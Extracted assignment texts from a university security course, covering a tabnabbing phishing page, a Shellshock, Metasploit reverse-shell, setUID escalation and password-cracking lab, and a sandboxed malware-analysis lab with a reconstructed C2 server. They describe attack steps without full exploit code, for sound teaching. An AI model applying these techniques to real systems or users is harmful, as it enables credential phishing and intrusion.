tabnabbing phishing page should look exactly the same as the one below. The arrows are just for highlighting things you need to pay attention to. The one we used to grade yours is without arrows or the black rectangle. In the image comparison, we will not compare the URL in the address bar as people have different approaches. So, you will need an iframe to load the tabnabbing page.Tips 1. The easiest way to keep the title/favicon/URL in the address unchanged is to load your tabnabbing page into an iframe. Think of ways to load an iframe full screen. 2. You can access the tabnabbing page via https://cs6262.gtisc.gatech.edu/tabnabbing/your-GTusername to check what it looks like. The title is different from what is required. The only correct username and password combination will give you the correct hash string. 3. To test your payload, you can open a new browser tab. Copy and paste your URL into the address bar. Then click a random link to see if it opens in a new tab for you. The browser should auto focus on the new tab. Stay in the new tab for 10 seconds and switch back to your opener tab. Nothing should change on the opener page. Then focus on the opened tab again for at least 60 seconds. Go back to the opener tab. You should see the tabnabbing login form. The simulated user would fill in the form with the correct credentials and submit it to your message receiver endpoint. a. When you want to detect whether a user is on this page or not, don’t use focus/blur because they are not supported in the simulated environment. Use visibilitychange instead. c. When you update the page to the tabnabbed page, we recommend you clear all the HTML body, create an iframe for the tabnabbed page using document.createElement(‘iframe’), and attach this DOM to the HTML body. Avoid using document.write(…) as it obstructs our bot from filling in the username and password. d. Avoid using window.open but to use setAttribute. e. The autograder is sensitive to even a tiny difference in the screenshot. Make sure your tabnabbed page does not differ, e.g., by a line on the top.Deliverables 1. The attacking URL that carries the functional payload to deploy a tabnabbing attack. 2. The hash string you will see on your Message Receiver Endpoint after a successful attack.Rubric 1.1. Clicking on a random link on the page opened by your attacking URL opens a new tab. 5% 1.2. The opener page remains unchanged within 60 seconds when the user is focusing on the opened tab and changes after the user loses focus on it for more than 60 seconds. 5% 1.3. The title, favicon and URL in the address bar remain unchanged when the tabnabbing page is loaded. 5% 1.4. The look of the tabnabbing page loaded after tabnabbing matches with the expected screenshot above. (difference less than 5%) 5% 2. Correct hash string 5% Missing task5_3.js file with your submission 0%FAQ Q. I can pass all the autograder tests (except the hash) but still cannot get the hash. What should I do? The user bot will fill in its username and password (and then press the submit button) on the tabnabbed page and identify them by DOM IDs. Make sure the page does not have anything obstructing this process.Q. I got the hash for tabnabbing, but the autograder said the hash is incorrect. Why? If the login user to your tabnab page is not the user bot, it will send a wrong hash to your endpoint. Please ensure that it was the user bot who logged in to the tabnab page but not any other users, e.g., you being the victim of your script.Other tips: Do not use window.open for opening a new window (when the victim clicks a link).Submissions All submissions will go to GradeScope where an autograder will help you understand the correctness of your solution. 1. A questionnaire 2. One JavaScript file for task 4 3. One JavaScript file for task 5.2 4. One JavaScript file for task 5.3 The autograder will deduct points for files that are not uploaded. You can upload an empty file if you haven’t gone that far yet, or just ignore the points deducted. Make sure you upload all the files when you are done.FAQQ. What do we answer and what do we not?Q. Do the submitted scripts need to have good readability? No, readability is not required.Q. How to clear my endpoint? You can clean your endpoint/inbox by posting tons of messages to your inbox or redoing your Q1.5 in Task 1.Q. I submitted the hash I received from my endpoint, but the autograder said it was incorrect. What should I do? Please make sure that you have correctly set your username in the questionnaire.Q. Can I utilize ChatGPT or similar AI-based bots for this project?Q. My solution works fine in my browser, but the server or the auto grader is not happy with it. Do they fault by chance?Q. How can I debug my code on the server side? Could you run my solution on the server side instead and tell me what is wrong? We don’t debug your code. Learning the attacker’s mind is one of the goals of the project. Although you don’t have server access for debugging, you can inject a script into the project server. Using log messages in the injected script, you can figure out the server’s status (e.g., where it gets stuck) by transferring the log messages from the server to your endpoint.
Spring 2025 The goal of this project:Penetration testing is an important part of ensuring the security of a system. This project introduces some of the common tools used in penetration testing, while also exploring common vulnerabilities (such as Shellshock and setUID bit exploits).Environment Setup:Files Provided Description shellshock_server.ova The VM image. assignment_questionnaire.txt Template for final submission.This project requires the use of virtual box and multiple VMs.Installing Virtual Box:1. Install VirtualBox if it is not already installed. This project requires the latest version of VirtualBox. Using an earlier version of Virtual Box has been known to cause errors where the project VM freezes, so if you run into this, ensure you are running on at least Virtual Box 6.1.0 or later.2. Download the Oracle Virtual Box Extension Pack (available for download at the same location as Virtual Box is).3. Import the Extension Pack under File-> Tools -> Extension Pack Manager4. In Virtual Box go to File -> Tools -> Network Manager5. Select the NAT network tab and click on Create. Right click on the newly created NAT network, click on Properties and rename it to something related to the project. Then save it and close the preferences.Installing the Kali Linux VM (feel free to use any other OS but we recommend using Kali):6. Download the 64bit VirtualBox version of the Kali VM from the link: kali download.7. Extract the above zip and double click on the vbox file. Once you have imported the VM, you’ll need to go into the VM Settings and increase the number of CPUs if possible, as well as the RAM. Also enable 3-d acceleration and set the zoom level to 300 (it makes it easier to read).8. Go to the new Kali VM’s settings. In the network tab change “Attached to:” from NAT to “NAT Network” in the Adapter 1 tab. The name of the network should autofill to your newly created network if you only have one, but if you have multiple NAT networks, you’ll need to select the correct one.9. Start the Kali VM. The default username/password is kali/kali.10. Repeat the process with the other VM (shellshock_server.ova) which you will download in a later step so that these two VMs can communicate with each other.Vulnerable machine: 11. Download the project appliance using the link below: 1. shellshock_server.ova sha256sum: b8729307ad6849d17c6b88e8a5893d5f7a7ccf3167d9279e4067039379be170312. Double click the downloaded ova file to start its import process.13. Once imported, adjust the CPU and RAM for this VM like you did for the Kali VM. Ensure Adapter 1 is set to NAT Network and the name of the NAT Network is the name you specified when creating the NAT Network in step 5. 14. Boot up the shellshock_server and you’re good to go.NOTE: You do not need to into the shellshock VM. Once you see the login screen, you’re good to go. Leave the shellshock VM running and switch to the Kali VM for the rest of the project now.15. Now try to connect to the shellshock VM server from Kali. Once you find the IP of the VM in Task 1 below, navigate to the following URL: http://:/cgi-bin/shellshock.cgi Then you should be able to see the content:16. Notice that you do not need the password to access the web content hosted on the VM server. Instead of using a real server, it is safer to perform the attack on an emulated Apache HTTP Server VM. To be clear, you will not be logging into the shellshock VM during this project. Once you configure the shellshock VM (by following steps 17-20 above), you will be exploiting it externally, from the Kali VM, by exploiting the Shellshock vulnerability.Project Tasks (100 points): Task 1: Network Scanning – (10 points)The first step in any penetration test is to gather information about the network and servers you’ll be exploiting. In this task, you will perform network scanning and answer a few questions based on your findings. On startup, the shellshock VM listens to several ports for incoming messages.1. Find the IP address of the vulnerable VM on the NAT network using nmap. 2. Use nmap to identify all the open ports on the shellshock server and submit the port number which handles the http traffic to the Apache web server on the VM.Note: If possible, please use VirtualBox for this part since in the previous semesters VMware has been known to cause some issues with the network setup and Task 1.Task 2: Attack CGI Program– (20 points)In this task, you will launch the Shellshock attack on a remote web server. Many web servers enable CGI, which is a standard method used to generate dynamic content on Web pages and Web applications. Many CGI programs are written using a shell script. Therefore, before a CGI program is executed, the shell program will be invoked first, and such an invocation can be triggered by a user from a remote computer.To access this CGI program from the Web, you need to first check the server VM is running. Then, you can either use a browser by typing the following URL:http://:/cgi-bin/shellshock.cgior use the following command line program curl to do the same thing:$ curl http:// :/cgi-bin/shellshock.cgiFor this task, your goal is to launch the attack through this URL, such that you can achieve something that you cannot do as a remote user. For example, you can execute some file on the server, or look up some file located on the server. When you successfully launch an attack, please execute the /bin/task2 program (which needs your GT username as the input) inside the VM. It will generate the submission hash for you.For students that want to verify their work, here’s an example correct input/output for /bin/task2:$ /bin/task2 gburdell3 Here is your task2 hash: 5732307cf1ef49dd2613e9bbe28dd3e0ea907c28d6c8736faf0c9537c2b20c5aTask 3: Reverse Shell with Metasploit – (25 points)Now you have successfully launched the Shellshock attack, and you can execute commands on the server VM. However, during a penetration test, you likely won’t have time to craft a payload for every exploit you use. And, what if the server was not in fact vulnerable to shellshock. How would you know if your exploit failed because it was wrong, or because there was not a vulnerability?That is where Metasploit comes in. Metasploit is a standard in the penetration testing community. It allows pen testers to run precompiled exploits against a host, using predefined payloads. For this project, we’re going to use Metasploit to establish a reverse shell between your machine and the host machine.Let us first see how Metasploit works by using it to scan the open TCP ports of the shellshock_server VM. While this is a task better suited to tools like nmap (as seen in Task 1), it serves as a good demonstration of how to use a Metasploit module. If you have used Metasploit before, you can skip this introduction and go directly to the Task 3 assignments section at the end.msfconsole 1. Begin by opening a new terminal on your Kali VM. In the new terminal type: . After a moment, the Metasploit Framework console (msfconsole) will load. For this project, the msfconsole is the main way of accessing Metasploit. While there are other tools and command prompts associated with Metasploit, the msfconsole is suitable for the entirety of this project.2. For this example, we’re going to scan the ports of a host. You can use the results from task 1 to ensure Metasploit is behaving properly. In practice using a Metasploit module solely for the purpose of scanning ports on a host is a little overcomplicated, since nmap can do much more and takes less setup, but this does offer a good introduction to using a Metasploit module.3. A metasploit module is the base of any task performed in metasploit. It consists of Ruby code that is written to perform a certain task (like exploiting a certain vulnerability or scanning a certain kind of system). There are multiple different varieties of modules, but for our purposes we’ll focus on three of them: a. The Exploit modules: These are modules written to exploit a certain vulnerability. b. The Auxiliary modules: These are modules written to perform some tasks related to exploiting a system (like scanning). Within the auxiliary modules there are many kinds of modules. We’ll be using the “scanner” modules for this example. c. Payloads: Calling these modules is a little misleading. They are the payloads (for example the shellcode) that are sent within the exploit.The reason there are so many results is that “scanner” is a class of auxiliary modules (as seen by there being so many modules beginning with “auxiliary/scanner”). So, searching for “scanner” (or “scan”) will give everything at all related to network or vulnerability scanning.That seems a little better. Only 7 results. Since we’re scanning for open tcp ports, let’s use: “auxiliary/scanner/portscan/tcp”. To use a metasploit module, you should run the command: use module_nameYou should now see “auxiliary(scanner/portscan/tcp)” after “msf5” indicating you are using the auxiliary(scanner/portscan/tcp) module.6. Now that we’re using the correct module, we must set the correct options. Try running the command options . You should see something like:While each of the options is marked as required, most of the pre-filled values work for our purposes. The only one we need to change is RHOSTS. RHOSTS should be the IP address of the host we want to scan. In this case, you should set it to the IP address of the shellshock_server VM, that you found in part 1. You can use the command: set rhosts IP_of_host. Now try running options again and ensure the RHOST option is set to the right IP address.Now run run and you should see the same list of open ports that nmap showed. While “run” is usually used to run auxiliary exploits, the command “check” and “exploit” are often used to check 7. and run exploit modules.Now you’ve seen an example of how to use Metasploit. You’ll follow a similar process when exploiting the shellshock vulnerability.Task 3 Assignments: 1. Find an exploit module that exploits the shellshock vulnerability on an Apache web server. Once you’ve found the module, place the module name in assignment_questionnaire.txt. 2. Use show payloads to show the possible payloads for the module. Find a payload that spawns a reverse tcp shell. Place the full name of the payload in assignment_questionnaire.txt. 3. Run the exploit and spawn a reverse shell on the VM. 4. Run /bin/task3 in the resulting shell, then type cs6262 then your user ID. Report the hash value for your user ID in assignment_questionnaire.txt.You’ll submit all your answers for this section in assignment_questionnaire.txt. You should keep the reverse shell running after finishing Task 3, as you will need it in Task 4.Task 4: Privilege Escalation – (20 points)Your goal: You aim to upgrade the privilege for your command shell by exploiting the setUID vulnerability. You will run /bin/task4 as the higher privileged user “shellshock_server”, not the default user “www-data”.Background: In Unix based systems, setUID is access rights flags that determine what users can run a program. ForAssignments: in your shell. You should see “www-data” which is your user ID. Now, run As a first step, type whoami /bin/task4 gt_usernam e. You would see a permission denied error. That is because /bin/task4 is configured to allow only the “shellshock_server” user to run it. So, you need to find a way to run task4 as the “shellshock_server” user. A feasible approach is to spawn a shell running as a “shellshock_server” user and run task4 through it.Your goal is to find a program which: 1. Has a higher privilege than the default user. 2. Can spawn a shell.Useful Resource: https://gtfobins.github.io/What is the vulnerable program? What command do you use to search it? What command do you use to spawn a shell with the vulnerable program? And what is the hash value from /bin/task4 gt_username (like /bin/task2)? Please leave your answers in assignment_questionnaire.txt.NOTE: If you exploit a symlinked binary, submit the name of the target binary that is linked. Eg: If binary A points to binary B, submit binary B as the answer. Task 5: Password Cracking – (25 points)To begin, start a Meterpreter shell (using a meterpreter shell payload) through the Metasploit shellshock module in Task 3. A Meterpreter shell is different from the reverse TCP shell in Task 3, as it allows you to run Metasploit specific commands on the vulnerable machine (like download). Navigate to /home/shellshock_server/secret_files/. There are two encrypted .pyc files here. task51.zip is encrypted with zip, while task52.pyc.gpg is encrypted with gpg (a common file encryption tool in Linux). Download these two files (task51.zip and task52.pyc.gpg) to your Kali VM using the meterpreter.We already know the developers of this web server are not very security savvy, since they let a shellshock vulnerability plus a setUID exploit give a high privilege shell on their machine. So, chances are they did not pick very secure passwords for these secret files. Your goal in this task is to crack the passwords of these two files using John the Ripper (a popular password cracker) and cewl (a password scraper).The command line tools used in Task 5 are in /usr/sbin on the Kali VM. To run them, you can either add /usr/sbin to the $PATH variable or write /usr/sbin/ before each command.You should use zip2john and gpg2john to extract the password hashes from the encrypted files. For task51.zip, try running John the Ripper incrementally. Report your John the Ripper command in assignment_questionnaire.txt (whether you also report your the zip2john and gpg2john commands is up to you, but they will not be graded).For task52.pyc.gpg, try running John the Ripper incrementally again. Hmm… it seems to run forever. That is because John the Ripper is trying every combination of characters. If the password is too long (among other things), John the Ripper could run for years before it finds it.But, even if the password is on the profile page, it can still take a while to guess by hand. What if the password was kItt3n$ or deVEL0p3r. It would be hard to guess that, even if the word it was based on (like “kittens”, or “developer”) was on the profile page.Once you find the passwords, report them in assignment_questionnaire.txt. Then decrypt the two files (using zip for task51.zip and gpg for task52.pyc.gpg) and run python2.7 task51.pyc gt_username and python2.7 task52.pyc gt_username. Report the resulting hash values for your user ID in assignment_questionnaire.txt.Deliverables:Please use Gradescope to submit the assignment files. The link to Gradescope is found in Canvas under Courses tab -> Gradescope. In Gradescope under active assignments click project 1 to upload your files. ● assignment_questionnaire.txt ● README.txtFAQ:● For this project, students have unlimited submissions on gradescope. ● You do not need to log into the shellshock image at any point to complete this project. ● For all task binaries, make sure to pass in your GT Username as the argument (e.g.: gburdell3) and beware of extra spaces after your name because that will result in an incorrect hash. ● Make sure you are using atleast VirtualBox 6.1.x. (students have completed the project on other versions too, but it sometimes causes issues). ● Make sure to assign at least 2 CPUs and 4GB of RAM to your shellshock image for it to function properly. ● The objective of this project is to get you familiarized with the absolute basics of penetration testing and therefore we encourage Googling to learn more about the vulnerability, the tools, and the attack concepts.Reminders:There is a 5-point penalty for not following the submission format shown.Useful Links and References:● Shellshock Vulnerability ◦ https://github.com/carter-yagemann/ShellShock ◦ https://en.wikipedia.org/wiki/Shellshock_(software_bug) ◦ http://seclists.org/oss-sec/2014/q3/650 ● curl ◦ https://curl.haxx.se/docs/manpage.html ◦ https://curl.haxx.se/download.html (curl.exe for Windows) ● netcat ◦ https://linux.die.net/man/1/nc ◦ https://eternallybored.org/misc/netcat/ (nc.exe for Windows) ● nmap ◦ https://nmap.org/book/man.html ◦ Service and Version Detection | Nmap Network Scanning ● Metasploit ◦ https://www.offensive-security.com/metasploit-unleashed/metasploit-fundamentals/ ● John the Ripper ◦ https://www.openwall.com/john/doc/ ● cewl ◦ https://tools.kali.org/password-attacks/cewlAcknowledgment:Checklist/Rubric:Section Points ✓ 1 Network Exploration 10 1.1 Correct first digits of the IP Address of the vulnerable VM. 5 1.2 Correct HTTP port. 5 2 Exploiting the System 20 . 1 Command used to exploit the shellshock vulnerability. 5 2.2 Correct hash value from running /bin/task2. 15 3 Spawning a Shell with Metasploit 25 3.1 Correct exploit module 5 3.2 Correct payload module (there are multiple correct answers here) 5 3.3 Correct hash value from running /bin/task3. 15 4 Privilege Escalation 20 4.2 Correct vulnerable program name. 10 4.4 Correct hash value from running /bin/task4 10 5 Password Cracking 25 5.2 Correct password for task51.zip. 5 5.3 Correct hash value from running python task51.pyc. 7.5 5.6 Correct password for task52.pyc.gpg. 5 5.7 Correct hash value from running python task52.pyc. 7.5 – Possible Deductions i. Incorrect assignment_questionnaire.txt format. -5 ii. Incorrect upload to Gradescope/Canvas. -5 + Your Submission Includes Total: 100 assignment_questionnaire.txt – Answers to questions README.txt
CS 6262Sections: 1. Window Malware Analysis 2. Linux Malware Analysis 3. Android Malware Analysis 4. Tips for assignment-questionnaire.txt 5. Miscellaneous VM Performance Tips 6. Submission Windows Malware Analysis Scenario: You got a malware sample from the wild! Your task is to discover what the malware does by analyzing it.How do you discover the malware’s behaviors? There are multiple ways of analyzing it but we’ll be focusing on two ways: Static Analysis and Dynamic Analysis.Static Analysis: ● Manual Reverse Engineering ● Programming binary analysisDynamic Analysis: ● Network behavioral tracing ● Runtime system behavioral tracing (File/Process/Thread/Registry) ● Symbolic Execution ● FuzzingIn our scenario, you are going to analyze the given malware with tools that we provide. These tools help you to analyze the malware with static and dynamic analysis. Objective: 1. Find which server controls the malware (the command and control (C2) server) 2. Discover how the malware communicates with the command and control (C2) server a. URL and Payload 3. Discover what activities are done by the malware (Attack activities) Requirement: 1. Make sure that no malware traffic goes out from virtual machine 2. The command and control server is dead, so YOU need to reconstruct it a. Use tools to reconstruct the server and then reveal hidden behaviors of the malware 3. Analyze network traffic on the host and figure out the list of available commands for the malware 4. Analyze network traffic and program trace of the host, and figure out what malware does 5. Write down your answer into assignment-questionnaire.txtProject Structure: ● Make sure to install/update to the latest version of VirtualBox ○ https://www.virtualbox.org/wiki/Downloads ● Download the Virtual Machine (VM) ○ https://www.dropbox.com/s/dnk6acztw9ewp83/Project%203.zip?dl=0 ○ Unarchive the file with 7zip and password is cs6262 ● Network Configurations: ○ tap0: ■ Virtual network interface for Windows XP • IP Address: 192.168.133.101 ○ br0 ■ A network bridge between Windows XP and Ubuntu ● IP Address: 192.168.133.1 ○ enp0s3 ■ A network that faces the Internet ● IPAddress:10.0.2.15 (it varies with your VirtualBox settings)● Open VirtualBox ○ Go to File → Import Appliance ○ Select the ova file and import it ○ For detailed information on how to import the VM, see:○ Before starting, it might be useful to configure the settings, allocate more base memory, processors etc. to your VM, as per your device configurations for better performance. ● VM user credentials ○ Username: analysis ○ Password: analysisNOTE: VM Setup● For M Series Mac Users: ○ Please install the latest version of UTM (https://mac.getutm.app/) and follow the instructions in the link to import and set up the VM.● In the Virtual Machine: ○ Files ■ init.py ● This initializes the project environment Name) after running this • $./init.py ■ update.sh ○ Please run this script when you start the project! (If it says that you’re already updated when you run it, that’s fine) ○ If you have already completed stage 1 before running update.sh, you do NOT need to redo stage 1 – but you will need to run update.sh to complete stage 2 ■ archive.sh ● This will archive the answer sheet for submission (create a zip file) ○ Directories: ■ vm ● A directory that stores the Windows XP virtual machine (runs with QEMU) ● We use the given VM for both Cuckoo and a testbed. ■ shared ● A shared directory between the Ubuntu host and Windows guest (XP is running on a VM within your project VM). You can copy/move files to or from this directory. ■ report ● The answer sheet for project questionnaire ■ setup ● Required files for setting up the machine. You don’t need to modify, nor use the files in this directory. ■ Tools ● network ○ Configure your network firewall rules (iptables) by editing iptables-rules. ○ You can allow/disallow/redirect the traffic from the malware ○ ‘./reset’ command in this directory will apply the changes ● cfg-generation (CFG stands for Control-Flow Graph) ○ An analysis tool that helps you to find interesting functions of malicious activity ○ You need to edit score.h to generate the control-flow graph ○ Use xdot to open the generated CFG. ● Sym-exec ○ A symbolic executor (based on angr : https://github.com/angr) ■ Helps you to figure out the commands that malware expects ○ Use cfg-generation tool to figure out the address of the function of interests ● c2-command ○ A simplified tool for C2 server reconstruction ○ You can write down command in the *.txt file as a line ○ It will randomly choose command at a time to send to the malware ○ Malware: ■ stage1.exe – stage 1 malware ● It will download the stage 2 malware if this malware receives the correct command ■ stage2.exe – stage 2 malware ● It will download the stage 3 malware if this malware receives the correct command ■ payload.exe – the linux malware attack payload ● Analyze the dynamic instruction trace ● Write a script to detect where the C&C communication happens – Find the loop entry point and function sequence in the loop ● Add constraint to symbolic execution to limit the loop to one ● Find the feasible attacks within a given set of possible attacks. Tutorials: ● stage1.exe malware ○ Update the project 3 before begin ■ Open the terminal (Ctrl-Alt-T, or choose terminal from the menu) ■ Run ./update.sh ● It will update any necessary files that are required for this project.○ Initializing the project ■ Open the terminal (Ctrl-Alt-T, or choose terminal from the menu) ■ Run ./init.py ● This will download the stage1 malware (stage1.exe) into the ~/shared directory○ Note: ● It is likely that security measures would kick in and encrypt these files ○ That is all the malware samples you will be downloading during this project ■ IMPORTANT ● After each download, make sure to check the type of file ● In the linux VM, execute $ file ● If the result of that is an archive of some sort then execute: unzip ○ Password: infected ● For stage1 and stage2, the file format should be● For stage3, the file format should be● Secure Experiment Environment ○ We need a secure experiment environment to execute the malware ○ Why? ● Encrypting your file during a ransomware analysis ● Infecting machines in your corporate network during a worm analysis ● Creating a tons of infected bot client in your network during a bot/trojan analysis ○ The solution: ■ Contain malware in a virtual environment ● Virtual Machine ● Virtual Network ○ Conservative rules(allow network traffic only if it is secure) ○ We provide a Win XP VM as a testbed! ● Run Win XP VM ○ Run Windows XP Virtual Machine with virt-manager ○ Open a terminal ○ Type “virt-manager” and double click “winxpsp3” ○ Click the icon with the two monitors and click on “basecamp”○ Right click on basecamp, and click “Start snapshot.” Click Yes if prompted. ○ Once, virt-manager successfully calls the snapshot, click Show the graphical console. ■ Click on the Windows Start Menu and Turn off Computer. ■ Then select Restart○ DO NOT MODIFY OR DELETE THE GIVEN SNAPSHOTS! ■ The given snapshots are your backups for your analysis. ■ If something bad happens on your testbed, always revert back to the basecamp snapshot. ● Copy from Shared Directory ○ Go to the shared directory by clicking its icon (in Windows XP) ■ Copy stage1.exe into Desktop ■ If you execute it in the shared directory, the error message will pop up. Please copy the file to Desktop.● Run the malware ○ Now we will run the malware ■ Execute stage1.exe (double click the icon) ■ It will say “Executing Stage 1 Malware”. Then, click OK. ● You should click OK on each dialog to dismiss it ○ Otherwise, malware execution will be blocked ○ If you want to halt the malware that is running… ■ Execute stop_malware in the temp directory. ● This will stop the currently running malware. ● Please halt first before you execute another malware file. ● Network Behavioral Analysis…….. ○ To analyze network behaviors, you need ■ Wireshark (https://www.wireshark.org/) ● Network Protocol Analyzer ○ Cuckoo (https://cuckoosandbox.org/) ■ Capturing & Recording inbound/outbound network packets ● Observing Network Behavior ○ By capturing and recording network packets through the tools ■ Reveal C&C protocol ■ Attack Source & Destination ○ But, malware will not do anything. Why? ■ The C2 server is dead! ■ Therefore, the malware (C2 client) will never unfold its behaviors. ■ Question? ● If we know C&C dialog of malware, can we build a fake C2 server in order to unfold the malware behaviors? ● Answer: Hack Yeah! That is your job for this project! ● Wireshark ○ Let’s check it through network monitoring ■ Everything has been already installed. ■ Open Wireshark, capture the traffic for the network bridge (Make sure to run with root privileges) ■ IP address = 192.168.133.1 ■ Reference: https://www.wireshark.org/docs/ ■ Get yourself familiarized with Linux commands and how to employ Wireshark. ■ Other references: ● https://www.wireshark.org/docs/wsug_html_chunked/ChapterIntro duction.html ● https://www.varonis.com/blog/how-to-use-wireshark ● Redirect Network Connection ○ From WireShark, we can notice that the malware tries to connect to the host at 128.61.240.66, but it fails ○ Let’s make it redirect to our fake C2 server ■ Go to ~/tools/network ■ Edit iptables_rules to redirect the traffic to 128.61.240.66 to 192.168.133.1 (fake host) ○ Whenever you edit iptables_rules, always run reset. ■ (type “./reset” from the ~/tools/network directory) ○ IMPORTANT! If you shut down your project VM, be sure to run reset again the next time you start it up.● Reading C2 Traffic ○ Observing C2 traffic ■ In WireShark, we can notice that now the malware can communicate with our fake C2 server● But there will not be further execution, because the command is wrong ■ You can see the contents of the traffic by right-clicking on the line, then clicking Follow – TCP Stream● Cuckoo ○ Let’s take a look at cuckoo. Cuckoo is NOT necessarily required to complete this project, but it is a useful tool to help you understand what your malware is doing, and therefore how you might want to modify your score.h file later in the project. ○ Note! You can’t run the testbed VM and cuckoo simultaneously. ○ Always turn off the testbed VM, and follow the steps below to execute Cuckoo○ Open two terminals. ○ ‘$workon cuckoo’ (Set virtualenv as cuckoo for both terminal1 and terminal2) ○ Open one terminal in debug mode, with command: ‘$cuckoo -d’ ○ Open other cuckoo terminal for the webserver, with command: ‘$cuckoo web’○ Reference: Malware Analysis using Cuckoo Sandbox ○ If you get an error when running cuckoo web because port 8000 is already in use, run “sudo fuser -k 8000/tcp” and try again.○ The Cuckoo uses a snapshot of the given testbed VM. ○ The snapshot is 1501466914 ○ • DO NOT TOUCH the snapshot!● Upload a file to Cuckoo ○ To open the cuckoo web server, type the following URL into Chromium ■ http://localhost:8000 ○ To upload a file, click the red box and choose a file.○ Once you click the Analyze button, it will take some time to run the malware.● Analysis with Cuckoo ○ Once you click the Analyze button, it will take some time to run the malware.● Figuring Out the List of Commands ○ The malware does not exhibit its behavior because we did not send the correct command through our fake C2 server ○ We will use ■ File/Registry/Process tracing analysis to guess the malware behavior. ■ control-flow graph (CFG) analysis and symbolic execution to figure out the list of the correct commands ○ The purpose of tracing analysis is to draw a big picture of the malware ■ What kinds of System call/API does the malware use? ■ Does the malware create/read/write a file? How about a registry? ○ The purpose of CFG analysis is to find the exact logic that involves the interpretation of the command and the execution of malicious behavior ○ Then, symbolic execution finds the command that drives the malware into that execution path● Tracing Analysis on Cuckoo ○ On the side bar, there are useful menus for tracing analysis. ■ We are focusing on: ● Static Analysis ○ API/System Call.● Behavioral Analysis ○ Trace behaviors in time sequence. ● Static Analysis on Cuckoo ○ Static Analysis ■ Information about the malware. ■ Win32 PE format information ● Windows binary uses the PE format ● Complicated structure ● Sections includes ○ .text ○ Strings, etc. ○ .data ○ .idata ○ .reloc ○ More information: Malware researcher’s handbook (demystifying PE file) ○ Interestingly three DLL(Dynamic Link Libraries) files are imported. ○ In WININET.dll, we can see that the malware uses http protocol. ○ In ADVAPI32.dll, we can check if the malware touches registry files ○ In Kernel32.dll, we can check the malware waiting signal, also sleep.● Behavior Analysis on Cuckoo ○ Tracing a behavior(file/process/thread/registry/network) in time sequence. ○ Useful to figure out cause-and-effect in process/file/network. ○ Malware creates a new file and runs the process, then writes it to memory.● Cuckoo analysis result ○ Based on our analysis with Cuckoo, we can determine if… ■ The malware uses HTTP protocol to communicate ● Communicate with whom? C&C? ● Web server access? For checking if the C2 server is active? ● Commands through http protocol? Cookies? ■ The malware touches(create/write/read) a file/registry/process ● This might be a dropper? Or does it download a binary from the C2 server? ● What is the purpose of creating processes? Modifying the registry?● Control Flow Graph Analysis ○ Based on the pre-information that we collected from the previous step, we are going to perform CFG analysis & symbolic execution analysis ○ CFG: ■ graph representation of computation and control flow in the program ■ Nodes are basic blocks ■ Edges represent possible flow of control from the end of one block to the beginning of the other.○ But, in malware analysis, we are analyzing CFG at the instruction level. ○ We provide a tool for you that helps to find command interpretation logic and malicious logic ■ We list the functions of system calls the malware uses internally ■ If you provide the score (how malicious it is, or how likely the malicious logic is to use such a function) for the functions, then the tool will find where the malicious logic is, based on its score ● Example: if you set StrCmpNIA to have a score of 10, then the function that calls StrCmpNIA 5 times within itself will have the score 50. ● A higher score implies that more functions related to the malicious activity are used within the malware. ■ Your job is to write the score value per each function○ More info: http://www.cs.cornell.edu/courses/cs412/2008sp/lectures/lec24.pdf ○ From our network analysis, we know that the malware uses an Internet connection to 128.61.240.66 ○ From our cuckoo-based analysis, we know that the malware uses the HTTP protocol. ○ Moreover, it uses some particular functions to communicate and stay in touch with the command and control server. ○ Modify the score values for these particular functions in order to generate a better CFG – for proper analysis. ○ Find the file to be edited – score.h. ○ Path: /tools/cfg-generation/score.h ○ Build control flow graph ■ By executing ./generate.py stage1, the tool gives you the CFG ● This finds the function with higher score ○ Implies that this calls high score functions on its execution ■ For stage2 ● Use ’stage2’ as argument ○ Note: your graph and its memory addresses will vary from this example ○ The function entry is at the address of 405190 ■ And, there is a function (marked as sub) of score 12 ● At the address 40525a (marked in red) ● Use the block_address, not the call sub_address ■ This implies that ● sub_4050c0 calls some internet related functions. ● We need to find out what this command is ○ Run from 405190 to 40525a ● Finding Command ○ Finding Commands with Symbolic Execution ■ We want to find a command that drives malware from 405190 to 40525a ● Let’s do symbolic execution to figure that out ○ What is symbolic execution? ■ Rather than executing the program with some input, symbolic execution treats the input data as a symbolic variable, then tries to calculate expressions for the input along the execution. ■ Path explosion ■ Modeling statements and environments ■ Constraint solving ○ Symbolic Execution Engine: Klee, Angr, Mayhem, etc. • Loading a binary into the analysis program ○ • Translating a binary into an intermediate representation (IR). • Translating that IR into a semantic representation ○ • Performing the actual analysis with symbolic execution.○ In this example, ONLY i=2, j=9 conditions will lead the program to print “Correct!” ○ Symbolic execution is available to solve the expression in order to reach a target, in this case ”Correct”. ○ Let’s apply it into Malware Command & Control logic. A C&C bot(malware) is expecting inputs(solve the expressions) to trigger behaviors(targets).○ In this example, ONLY ‘launch-attack’ and ‘remove’ commands(inputs) triggers attack() and destroy_itself(). ○ Symbolic execution is able to find ”launch-attack” as an input to trigger attack(), which is a malicious behavior. ○ Plus, ”remove” will lead to destroy_itself(), which is another behavior. ○ Our job in this project with Symbolic execution is to find inputs, and then feed the inputs to trigger behaviors.● Finding Commands with Angr ○ We prepared a symbolic executor and a solver for you ■ Your job is to find the starting point of the function which interprets the command, and find the end point where malware actually executes some function that does malicious operations ● Use a Control-flow Graph (CFG) analysis tool! ■ The symbolic executor is called angr (http://angr.io/index.html) ○ We prepared a symbolic executor and a solver for you. ○ How do you run it? ■ Go to ~/tools/sym-exec ■ Run it like python ./sym_exec.py [program_path] [start_address] [end_address] ○ Replace the (above) start and end addresses from your CFG graph. python ./sym_exec.py ~/shared/stage1.exe 4050c0 40518a ○ The command will be printed at the end (if found)● Reconstructing C2 server ○ After CFG analysis + symbolic execution, reconstruct the C2 server ○ The tool for reconstructing the C2 server is already on the VM ○ It runs nginx and php script ■ This will look like ~/tools/c2-command/stage*-command.txt ■ Your job is to add your commands to the relevant *.txt file ● The command that leads the execution from 405190 to 40525a is ● Important: be sure to put the ‘$’ character before your commands, even if stage* – command.txt says that it’s optional ● The order of commands in the file does not matter – they’ll run in a random order ○ Note: This means that if you want to run only a particular command, you’ll need to remove, or comment out the other commands in your file● angr ○ SimState ■ angr – SimState ■ While angr perform symbolic execution, it stores the current state of the program in the SimState objects. ■ SimState is a structure that contains the program’s memory, register and other information. ■ SimState provides interaction with memory and registers. For example, state.regs offers read, write accesses with the name of each registers such as state.regs.eip, state.regs.rbx, state.regs.ebx, state.regs.ebh ■ Creating an empty 64 bit SimState○ Bitvectors ■ Since, we are dealing with binary files, we don’t deal with regular integers. ■ In binary program, everything becomes bits and sequence of bits. 